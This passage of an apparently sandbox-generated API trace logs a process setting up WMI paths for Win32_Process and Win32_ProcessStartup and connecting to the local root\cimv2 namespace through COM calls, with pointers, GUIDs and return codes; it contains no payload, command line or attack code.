0x3 [0129.284] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x2 [0129.284] WbemDefPath:IWbemPath:SetText (This=0x1aa0add0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0129.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.284] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0129.284] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0129.285] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0add0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.285] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0add0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.285] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0129.285] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0129.285] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0129.286] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.289] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb8b340) returned 0x0 [0129.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b340, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0129.289] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b340, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0ae90) returned 0x0 [0129.290] WbemDefPath:IUnknown:Release (This=0x1bb8b340) returned 0x0 [0129.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0ae90) returned 0x0 [0129.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0129.291] WbemDefPath:IUnknown:AddRef (This=0x1aa0ae90) returned 0x3 [0129.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0129.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0129.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb8b380) returned 0x0 [0129.291] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b380, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.291] WbemDefPath:IUnknown:Release (This=0x1bb8b380) returned 0x3 [0129.291] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0129.291] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0129.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0129.292] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x2 [0129.292] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x1 [0129.292] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0129.292] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0129.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0ae90) returned 0x0 [0129.292] WbemDefPath:IUnknown:AddRef (This=0x1aa0ae90) returned 0x3 [0129.292] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x2 [0129.292] WbemDefPath:IWbemPath:SetText (This=0x1aa0ae90, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0129.292] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ae90, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.292] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ae90, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ae90, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ae90, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ae90, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0129.293] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.293] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0129.293] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0129.294] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0129.294] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.297] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bb8b3c0) returned 0x0 [0129.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b3c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0129.298] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b3c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0af50) returned 0x0 [0129.298] WbemDefPath:IUnknown:Release (This=0x1bb8b3c0) returned 0x0 [0129.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0af50) returned 0x0 [0129.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0129.299] WbemDefPath:IUnknown:AddRef (This=0x1aa0af50) returned 0x3 [0129.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0129.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0129.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bb8b400) returned 0x0 [0129.299] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.299] WbemDefPath:IUnknown:Release (This=0x1bb8b400) returned 0x3 [0129.299] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0129.299] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0129.300] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0129.300] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x2 [0129.300] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x1 [0129.300] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0129.300] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0129.300] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0af50) returned 0x0 [0129.300] WbemDefPath:IUnknown:AddRef (This=0x1aa0af50) returned 0x3 [0129.300] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x2 [0129.300] WbemDefPath:IWbemPath:SetText (This=0x1aa0af50, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.300] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.301] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0129.302] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.302] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0129.304] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0129.304] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0129.304] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.306] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bb8b500) returned 0x0 [0129.306] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b500, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0129.306] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bb8b500, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bb8b520) returned 0x0 [0129.307] WbemLocator:IUnknown:Release (This=0x1bb8b500) returned 0x0 [0129.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bb8b520) returned 0x0 [0129.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0129.307] WbemLocator:IUnknown:AddRef (This=0x1bb8b520) returned 0x3 [0129.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0129.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0129.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0129.308] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0129.308] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0129.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0129.308] WbemLocator:IUnknown:Release (This=0x1bb8b520) returned 0x2 [0129.308] WbemLocator:IUnknown:Release (This=0x1bb8b520) returned 0x1 [0129.308] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0129.308] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0129.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb8b520, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bb8b520) returned 0x0 [0129.308] WbemLocator:IUnknown:AddRef (This=0x1bb8b520) returned 0x3 [0129.309] WbemLocator:IUnknown:Release (This=0x1bb8b520) returned 0x2 [0129.309] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.309] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0129.309] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.309] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bb8b540) returned 0x0 [0129.309] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bb8b540, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb81050) returned 0x0 [0129.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa027a0) returned 0x0 [0129.409] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa027a0, pProxy=0x1bb81050, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0129.409] WbemLocator:IUnknown:Release (This=0x1aa027a0) returned 0x1 [0129.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa027e0) returned 0x0 [0129.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa027a0) returned 0x0 [0129.409] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa027a0, pProxy=0x1bb81050, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0129.409] WbemLocator:IUnknown:Release (This=0x1aa027a0) returned 0x2 [0129.409] WbemLocator:IUnknown:Release (This=0x1aa027e0) returned 0x1 [0129.409] CoTaskMemFree (pv=0x1aa16aa0) [0129.409] WbemLocator:IUnknown:AddRef (This=0x1bb81050) returned 0x2 [0129.409] WbemLocator:IUnknown:Release (This=0x1bb8b540) returned 0x0 [0129.410] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0129.410] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0129.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa027b0) returned 0x0 [0129.410] WbemLocator:IRpcOptions:Query (in: This=0x1aa027b0, pPrx=0x1bb8b5a0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0129.410] WbemLocator:IUnknown:Release (This=0x1aa027b0) returned 0x2 [0129.410] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0129.410] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0129.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, 